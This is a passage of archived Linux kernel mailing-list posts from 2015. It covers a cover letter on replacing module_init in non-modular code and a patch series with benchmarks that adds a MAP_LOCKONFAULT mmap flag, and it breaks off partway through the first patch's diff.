Original-Received: from ALA-HCA.corp.ad.wrs.com (ala-hca.corp.ad.wrs.com
 [147.11.189.40])
 by mail1.windriver.com (8.15.1/8.15.1) with ESMTPS id t4T0mXs6029114
 (version=TLSv1 cipher=AES128-SHA bits=128 verify=FAIL);
 Thu, 28 May 2015 17:48:33 -0700 (PDT)
Original-Received: from yow-lpgnfs-02.corp.ad.wrs.com (128.224.149.8) by
 ALA-HCA.corp.ad.wrs.com (147.11.189.40) with Microsoft SMTP Server id
 14.3.224.2; Thu, 28 May 2015 17:48:32 -0700
X-Mailer: git-send-email 2.2.1
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20150528_175306_108649_E5504634 
X-CRM114-Status: GOOD (  11.17  )
X-Spam-Score: -2.3 (--)
X-Spam-Report: SpamAssassin version 3.4.0 on bombadil.infradead.org summary:
 Content analysis details:   (-2.3 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/, medium
 trust [147.11.146.13 listed in list.dnswl.org]
 -0.0 T_RP_MATCHES_RCVD      Envelope sender domain matches handover relay
 domain
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.18-1
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:416834 gmane.linux.kernel:1964964 gmane.linux.ports.ia64:25510 gmane.linux.ports.sh.devel:46213 gmane.linux.ports.parisc:25743 gmane.linux.ports.alpha:3101 gmane.linux.ports.ppc64.devel:113566
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/416834>

This series of commits converts non-modular code that is using
the module_init() call to hook itself into the system to instead
use device_initcall().

The conversion is a runtime no-op, since module_init actually
becomes __initcall in the non-modular case, and that in turn gets
mapped onto device_initcall.

We fix this up now, so that we can relocate module_init from
init.h into module.h in a future series.

The files changed here are just limited to those that would
otherwise have to add module.h to obviously non-modular code, since
we don't want to do that.

This work is factored out from what was a previously larger series[1] so
that there is a common theme and lower patch count to ease review.

Paul.

[1] https://marc.info/?l=linux-kernel&m=139033951228828

---

Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Cc: Chris Zankel <chris@zankel.net>
Cc: David Howells <dhowells@redhat.com>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Cc: Geoff Levand <geoff@infradead.org>
Cc: Helge Deller <deller@gmx.de>
Cc: "H. Peter Anvin" <hpa@zytor.com>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: Ivan Kokshaysky <ink@jurassic.park.msu.ru>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Jesper Nilsson <jesper.nilsson@axis.com>
Cc: Koichi Yasutake <yasutake.koichi@jp.panasonic.com>
Cc: Matt Turner <mattst88@gmail.com>
Cc: Max Filippov <jcmvbkbc@gmail.com>
Cc: Mikael Starvik <starvik@axis.com>
Cc: Mike Turquette <mturquette@linaro.org>
Cc: Paul Mackerras <paulus@samba.org>
Cc: Paul Mundt <lethal@linux-sh.org>
Cc: Richard Henderson <rth@twiddle.net>
Cc: Russell King <linux@arm.linux.org.uk>
Cc: Scott Wood <scottwood@freescale.com>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Thomas Meyer <thomas@m3y3r.de>
Cc: Tony Luck <tony.luck@intel.com>
Cc: linux-alpha@vger.kernel.org
Cc: linux-am33-list@redhat.com
Cc: linux-arm-kernel@lists.infradead.org
Cc: linux-cris-kernel@axis.com
Cc: linux-ia64@vger.kernel.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-sh@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: x86@kernel.org

Paul Gortmaker (15):
  x86: don't use module_init in non-modular intel_mid_vrtc.c
  x86: don't use module_init in non-modular devicetree.c code
  powerpc: use device_initcall for registering rtc devices
  powerpc: don't use module_init in non-modular 83xx suspend code
  arm: don't use module_init in non-modular mach-vexpress/spc.c code
  alpha: don't use module_init for non-modular core code
  ia64: don't use module_init for non-modular core kernel/mca.c code
  ia64: don't use module_init in non-modular sim/simscsi.c code
  cris: don't use module_init for non-modular core intmem.c code
  parisc: don't use module_init for non-modular core pdc_cons code
  parisc64: don't use module_init for non-modular core perf code
  mn10300: don't use module_init in non-modular flash.c code
  sh: don't use module_init in non-modular psw.c code
  xtensa: don't use module_init for non-modular core network.c code
  drivers/clk: don't use module_init in clk-nomadik.c which is
    non-modular

 arch/alpha/kernel/srmcons.c                  |  3 +--
 arch/arm/mach-vexpress/spc.c                 |  2 +-
 arch/cris/arch-v32/mm/intmem.c               |  3 +--
 arch/ia64/hp/sim/simscsi.c                   | 11 +----------
 arch/ia64/sn/kernel/mca.c                    |  3 +--
 arch/mn10300/unit-asb2303/flash.c            |  3 +--
 arch/parisc/kernel/pdc_cons.c                |  3 +--
 arch/parisc/kernel/perf.c                    |  3 +--
 arch/powerpc/kernel/time.c                   |  2 +-
 arch/powerpc/platforms/83xx/suspend.c        |  3 +--
 arch/powerpc/platforms/ps3/time.c            |  3 +--
 arch/sh/boards/mach-landisk/psw.c            |  2 +-
 arch/x86/kernel/devicetree.c                 |  2 +-
 arch/x86/platform/intel-mid/intel_mid_vrtc.c |  3 +--
 arch/xtensa/platforms/iss/network.c          |  4 +---
 drivers/clk/clk-nomadik.c                    |  3 +--
 16 files changed, 16 insertions(+), 37 deletions(-)

-- 
2.2.1

From - Thu Nov 08 21:37:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [RESEND PATCH 0/3] Allow user to request memory to be locked on page fault
Date: Fri, 29 May 2015 10:13:25 -0400
Lines: 154
Approved: news@gmane.org
Message-ID: <1432908808-31150-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1432908837 30212 80.91.229.3 (29 May 2015 14:13:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 29 May 2015 14:13:57 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Shuah Khan <shuahkh@osg.samsung.com>,
	Michal Hocko <mhocko@suse.cz>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org,
	linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Fri May 29 16:13:47 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1YyL2f-0007Df-QO
	for glkm-linux-mm-2@m.gmane.org; Fri, 29 May 2015 16:13:46 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 6C3FF6B0038; Fri, 29 May 2015 10:13:44 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 69B5B6B006C; Fri, 29 May 2015 10:13:44 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 5D8256B006E; Fri, 29 May 2015 10:13:44 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-pa0-f53.google.com (mail-pa0-f53.google.com [209.85.220.53])
	by kanga.kvack.org (Postfix) with ESMTP id 1DC9C6B0038
	for <linux-mm@kvack.org>; Fri, 29 May 2015 10:13:44 -0400 (EDT)
Original-Received: by pacrp13 with SMTP id rp13so14596242pac.2
        for <linux-mm@kvack.org>; Fri, 29 May 2015 07:13:43 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:from:to:cc
         :subject:date:message-id;
        bh=Q85WaNIHBjuxwHF6SsbRzSkjycNM7fcpjtTl/Y+ty8c=;
        b=PtUtckiu7n76DTQPXBl+ZjV8Nc1rue+K/8IYLx87kKK7oeGWqcpIXpCdN8tBMQN4Hi
         ux4b05+aIwZ4yV36qgBuijiKpAcsKh8wjyR3R+kPDO6qA5XPBQ57SJkTmDjD1H0rD+UJ
         Ut8wc2ljwcuuwSameMGPSO3xVpsZrQJi2plplRtv4kRtWwkLu8TilaBKVZBSKB0ANiq5
         PHUgUGYYTWDBMp5FUNCoWPKPPqZJmg0IvusQFNGr8MYXGh0dxtw9lMQsMAInhMt3++Yq
         9MeRd2lSK+Gj+/+7E1lpm7AdXNCstzZywodL6VhaI1CFJMQ2Jyw5ALjjwgV3R40WoSoe
         JdMg==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) smtp.mail=emunson@akamai.com;       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
X-Received: by 10.66.250.131 with SMTP id zc3mr3491924pac.136.1432908823700;
        Fri, 29 May 2015 07:13:43 -0700 (PDT)
X-Gm-Message-State: ALoCoQneky9QiqBHuFsbn7PYCT7XdCqUmFKFZJy1+9TDArQUpRmiRQID2cHjgRe6mEMHL+um7Mnh/X5tZ0N0ZbPELYrLEVGQ+VzyV4OttUR5ZwjLBsK7T9LPOUux/bISXhjyby3KVRvX3Hk7TDgE3cfVEvV5MiCb+xDYf58PqQrW6Bn2Shml4YaeZqNUrhOhnfNwEHyzRbJ/
X-Received: by 10.66.250.131 with SMTP id zc3mr3491819pac.136.1432908822870;
        Fri, 29 May 2015 07:13:42 -0700 (PDT)
Original-Received: from prod-mail-xrelay02.akamai.com (prod-mail-xrelay02.akamai.com. [72.246.2.14])
        by mx.google.com with ESMTP id b3si8572675pat.229.2015.05.29.07.13.42
        for <linux-mm@kvack.org>;
        Fri, 29 May 2015 07:13:42 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) client-ip=72.246.2.14;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) smtp.mail=emunson@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id C6A5328727;
	Fri, 29 May 2015 14:13:41 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id B113D285F8;
	Fri, 29 May 2015 14:13:41 +0000 (GMT)
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (unknown [172.28.12.54])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id AA0F780085;
	Fri, 29 May 2015 14:13:41 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:133433 gmane.linux.ports.alpha:3103 gmane.linux.kernel:1965378 gmane.linux.ports.mips.general:48875 gmane.linux.ports.parisc:25744 gmane.linux.ports.ppc64.devel:113631 gmane.linux.ports.sparc:21075 gmane.linux.kernel.cross-arch:27876 gmane.linux.kernel.api:11614
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/133433>

mlock() allows a user to control page out of program memory, but this
comes at the cost of faulting in the entire mapping when it is
allocated.  For large mappings where the entire area is not necessary
this is not ideal.

This series introduces new flags for mmap() and mlockall() that allow a
user to specify that the covered are should not be paged out, but only
after the memory has been used the first time.

There are two main use cases that this set covers.  The first is the
security focussed mlock case.  A buffer is needed that cannot be written
to swap.  The maximum size is known, but on average the memory used is
significantly less than this maximum.  With lock on fault, the buffer
is guaranteed to never be paged out without consuming the maximum size
every time such a buffer is created.

The second use case is focussed on performance.  Portions of a large
file are needed and we want to keep the used portions in memory once
accessed.  This is the case for large graphical models where the path
through the graph is not known until run time.  The entire graph is
unlikely to be used in a given invocation, but once a node has been
used it needs to stay resident for further processing.  Given these
constraints we have a number of options.  We can potentially waste a
large amount of memory by mlocking the entire region (this can also
cause a significant stall at startup as the entire file is read in).
We can mlock every page as we access them without tracking if the page
is already resident but this introduces large overhead for each access.
The third option is mapping the entire region with PROT_NONE and using
a signal handler for SIGSEGV to mprotect(PROT_READ) and mlock() the
needed page.  Doing this page at a time adds a significant performance
penalty.  Batching can be used to mitigate this overhead, but in order
to safely avoid trying to mprotect pages outside of the mapping, the
boundaries of each mapping to be used in this way must be tracked and
available to the signal handler.  This is precisely what the mm system
in the kernel should already be doing.

To illustrate the benefit of this patch I wrote a test program that
mmaps a 5 GB file filled with random data and then makes 15,000,000
accesses to random addresses in that mapping.  The test program was run
20 times for each setup.  Results are reported for two program portions,
setup and execution.  The setup phase is calling mmap and optionally
mlock on the entire region.  For most experiments this is trivial, but
it highlights the cost of faulting in the entire region.  Results are
averages across the 20 runs in milliseconds.

mmap with MAP_LOCKED:
Setup avg:      11821.193
Processing avg: 3404.286

mmap with mlock() before each access:
Setup avg:      0.054
Processing avg: 34263.201

mmap with PROT_NONE and signal handler and batch size of 1 page:
With the default value in max_map_count, this gets ENOMEM as I attempt
to change the permissions, after upping the sysctl significantly I get:
Setup avg:      0.050
Processing avg: 67690.625

mmap with PROT_NONE and signal handler and batch size of 8 pages:
Setup avg:      0.098
Processing avg: 37344.197

mmap with PROT_NONE and signal handler and batch size of 16 pages:
Setup avg:      0.0548
Processing avg: 29295.669

mmap with MAP_LOCKONFAULT:
Setup avg:      0.073
Processing avg: 18392.136

The signal handler in the batch cases faulted in memory in two steps to
avoid having to know the start and end of the faulting mapping.  The
first step covers the page that caused the fault as we know that it will
be possible to lock.  The second step speculatively tries to mlock and
mprotect the batch size - 1 pages that follow.  There may be a clever
way to avoid this without having the program track each mapping to be
covered by this handeler in a globally accessible structure, but I could
not find it.  It should be noted that with a large enough batch size
this two step fault handler can still cause the program to crash if it
reaches far beyond the end of the mapping.

These results show that if the developer knows that a majority of the
mapping will be used, it is better to try and fault it in at once,
otherwise MAP_LOCKONFAULT is significantly faster.

The performance cost of these patches are minimal on the two benchmarks
I have tested (stream and kernbench).  The following are the average
values across 20 runs of each benchmark after a warmup run whose
results were discarded.

Avg throughput in MB/s from stream using 1000000 element arrays
Test     4.1-rc2      4.1-rc2+lock-on-fault
Copy:    10,979.08    10,917.34
Scale:   11,094.45    11,023.01
Add:     12,487.29    12,388.65
Triad:   12,505.77    12,418.78

Kernbench optimal load
                 4.1-rc2  4.1-rc2+lock-on-fault
Elapsed Time     71.046   71.324
User Time        62.117   62.352
System Time      8.926    8.969
Context Switches 14531.9  14542.5
Sleeps           14935.9  14939

Eric B Munson (3):
  Add flag to request pages are locked after page fault
  Add mlockall flag for locking pages on fault
  Add tests for lock on fault

 arch/alpha/include/uapi/asm/mman.h          |   2 +
 arch/mips/include/uapi/asm/mman.h           |   2 +
 arch/parisc/include/uapi/asm/mman.h         |   2 +
 arch/powerpc/include/uapi/asm/mman.h        |   2 +
 arch/sparc/include/uapi/asm/mman.h          |   2 +
 arch/tile/include/uapi/asm/mman.h           |   2 +
 arch/xtensa/include/uapi/asm/mman.h         |   2 +
 include/linux/mm.h                          |   1 +
 include/linux/mman.h                        |   3 +-
 include/uapi/asm-generic/mman.h             |   2 +
 mm/mlock.c                                  |  13 ++-
 mm/mmap.c                                   |   4 +-
 mm/swap.c                                   |   3 +-
 tools/testing/selftests/vm/Makefile         |   8 +-
 tools/testing/selftests/vm/lock-on-fault.c  | 145 ++++++++++++++++++++++++++++
 tools/testing/selftests/vm/on-fault-limit.c |  47 +++++++++
 tools/testing/selftests/vm/run_vmtests      |  23 +++++
 17 files changed, 254 insertions(+), 9 deletions(-)
 create mode 100644 tools/testing/selftests/vm/lock-on-fault.c
 create mode 100644 tools/testing/selftests/vm/on-fault-limit.c

Cc: Shuah Khan <shuahkh@osg.samsung.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-mm@kvack.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org

-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [RESEND PATCH 1/3] Add flag to request pages are locked after page fault
Date: Fri, 29 May 2015 10:13:26 -0400
Lines: 201
Approved: news@gmane.org
Message-ID: <1432908808-31150-2-git-send-email-emunson@akamai.com>
References: <1432908808-31150-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1432908837 30223 80.91.229.3 (29 May 2015 14:13:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 29 May 2015 14:13:57 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org,
	linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Fri May 29 16:13:51 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1YyL2j-0007Gu-Cc
	for glkm-linux-mm-2@m.gmane.org; Fri, 29 May 2015 16:13:49 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 7FD756B006C; Fri, 29 May 2015 10:13:47 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 7ABAB6B006E; Fri, 29 May 2015 10:13:47 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 69B886B0070; Fri, 29 May 2015 10:13:47 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-pa0-f54.google.com (mail-pa0-f54.google.com [209.85.220.54])
	by kanga.kvack.org (Postfix) with ESMTP id 279A46B006C
	for <linux-mm@kvack.org>; Fri, 29 May 2015 10:13:47 -0400 (EDT)
Original-Received: by pacrp13 with SMTP id rp13so14598126pac.2
        for <linux-mm@kvack.org>; Fri, 29 May 2015 07:13:46 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:from:to:cc
         :subject:date:message-id:in-reply-to:references;
        bh=zRPWK+Z3xF7KeQvq5o6aAhS73hizRuFeINWIv+58vp0=;
        b=aPXwnMeWnQjJ5nGsx+loosKIAlqRwHcwD+RWYZOIbTA6VLObeac7f2cJwZHfZxaTCW
         tBaqX4iGOVEq/jyAgzq38OwJhqSRdrvKOgHU2ulikaUveB6jKfiCMkeVJaPKElCtX3BE
         kpEWAKGeyYlNZl0wNpXnRBa0o/WsBdg/8V/GK+iG9PrCwrqanOtg4DMbTMH3wqVaLcrq
         U8yqvrmxrZd4hzZXIP9gQijNE4rbgaYe/RaXgUSeQNFMVwPq/yhIsFifqJSoySdcIkKa
         8TVjnK/Y4LAJlzZNfl7DeX7xpDoXdo5imu2cwBDnhQwvi4oGTBSdUCVL+FlGWwowEA/s
         E0Vw==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) smtp.mail=emunson@akamai.com;       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
X-Gm-Message-State: ALoCoQmkB358b35MhS3d14A10+bZjEW6YpnteyOdj49T22AtHVeRPhMvc3qqNwlOLKbubd3F6a3xTgSRjgKs0sbPajiWkiy5vOuAf7JQauT2Wx5RdYJ4ItMA1djk/RdZxvWPmx3xdnLAMnqoVVuSgjnsoOtDXDpzrMsPlFy2i5yvcv6yqNHwp+6CwoTMdSi6GFqjA/j3Sfim
X-Received: by 10.68.201.168 with SMTP id kb8mr15247853pbc.50.1432908826849;
        Fri, 29 May 2015 07:13:46 -0700 (PDT)
X-Received: by 10.68.201.168 with SMTP id kb8mr15247770pbc.50.1432908826170;
        Fri, 29 May 2015 07:13:46 -0700 (PDT)
Original-Received: from prod-mail-xrelay07.akamai.com (prod-mail-xrelay07.akamai.com. [72.246.2.115])
        by mx.google.com with ESMTP id oz3si8662312pac.22.2015.05.29.07.13.45
        for <linux-mm@kvack.org>;
        Fri, 29 May 2015 07:13:46 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) client-ip=72.246.2.115;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) smtp.mail=emunson@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 4AD954848E;
	Fri, 29 May 2015 14:13:45 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id 3774648489;
	Fri, 29 May 2015 14:13:45 +0000 (GMT)
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (unknown [172.28.12.54])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id 30E9E80088;
	Fri, 29 May 2015 14:13:44 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1432908808-31150-1-git-send-email-emunson@akamai.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:133434 gmane.linux.ports.alpha:3104 gmane.linux.kernel:1965379 gmane.linux.ports.mips.general:48876 gmane.linux.ports.parisc:25745 gmane.linux.ports.ppc64.devel:113632 gmane.linux.ports.sparc:21076 gmane.linux.kernel.cross-arch:27877 gmane.linux.kernel.api:11615
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/133434>

The cost of faulting in all memory to be locked can be very high when
working with large mappings.  If only portions of the mapping will be
used this can incur a high penalty for locking.  This patch introduces
the ability to request that pages are not pre-faulted, but are placed on
the unevictable LRU when they are finally faulted in.

To keep accounting checks out of the page fault path, users are billed
for the entire mapping lock as if MAP_LOCKED was used.

Signed-off-by: Eric B Munson <emunson@akamai.com>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-mm@kvack.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org
---
 arch/alpha/include/uapi/asm/mman.h   | 1 +
 arch/mips/include/uapi/asm/mman.h    | 1 +
 arch/parisc/include/uapi/asm/mman.h  | 1 +
 arch/powerpc/include/uapi/asm/mman.h | 1 +
 arch/sparc/include/uapi/asm/mman.h   | 1 +
 arch/tile/include/uapi/asm/mman.h    | 1 +
 arch/xtensa/include/uapi/asm/mman.h  | 1 +
 include/linux/mm.h                   | 1 +
 include/linux/mman.h                 | 3 ++-
 include/uapi/asm-generic/mman.h      | 1 +
 mm/mmap.c                            | 4 ++--
 mm/swap.c                            | 3 ++-
 12 files changed, 15 insertions(+), 4 deletions(-)

diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
index 0086b47..15e96e1 100644
--- a/arch/alpha/include/uapi/asm/mman.h
+++ b/arch/alpha/include/uapi/asm/mman.h
@@ -30,6 +30,7 @@
 #define MAP_NONBLOCK	0x40000		/* do not block on IO */
 #define MAP_STACK	0x80000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x100000	/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x200000	/* Lock pages after they are faulted in, do not prefault */
 
 #define MS_ASYNC	1		/* sync memory asynchronously */
 #define MS_SYNC		2		/* synchronous memory sync */
diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
index cfcb876..47846a5 100644
--- a/arch/mips/include/uapi/asm/mman.h
+++ b/arch/mips/include/uapi/asm/mman.h
@@ -48,6 +48,7 @@
 #define MAP_NONBLOCK	0x20000		/* do not block on IO */
 #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted in, do not prefault */
 
 /*
  * Flags for msync
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index 294d251..1514cd7 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -24,6 +24,7 @@
 #define MAP_NONBLOCK	0x20000		/* do not block on IO */
 #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted in, do not prefault */
 
 #define MS_SYNC		1		/* synchronous memory sync */
 #define MS_ASYNC	2		/* sync memory asynchronously */
diff --git a/arch/powerpc/include/uapi/asm/mman.h b/arch/powerpc/include/uapi/asm/mman.h
index 6ea26df..fce74fe 100644
--- a/arch/powerpc/include/uapi/asm/mman.h
+++ b/arch/powerpc/include/uapi/asm/mman.h
@@ -27,5 +27,6 @@
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x80000		/* Lock pages after they are faulted in, do not prefault */
 
 #endif /* _UAPI_ASM_POWERPC_MMAN_H */
diff --git a/arch/sparc/include/uapi/asm/mman.h b/arch/sparc/include/uapi/asm/mman.h
index 0b14df3..12425d8 100644
--- a/arch/sparc/include/uapi/asm/mman.h
+++ b/arch/sparc/include/uapi/asm/mman.h
@@ -22,6 +22,7 @@
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x80000		/* Lock pages after they are faulted in, do not prefault */
 
 
 #endif /* _UAPI__SPARC_MMAN_H__ */
diff --git a/arch/tile/include/uapi/asm/mman.h b/arch/tile/include/uapi/asm/mman.h
index 81b8fc3..ec04eaf 100644
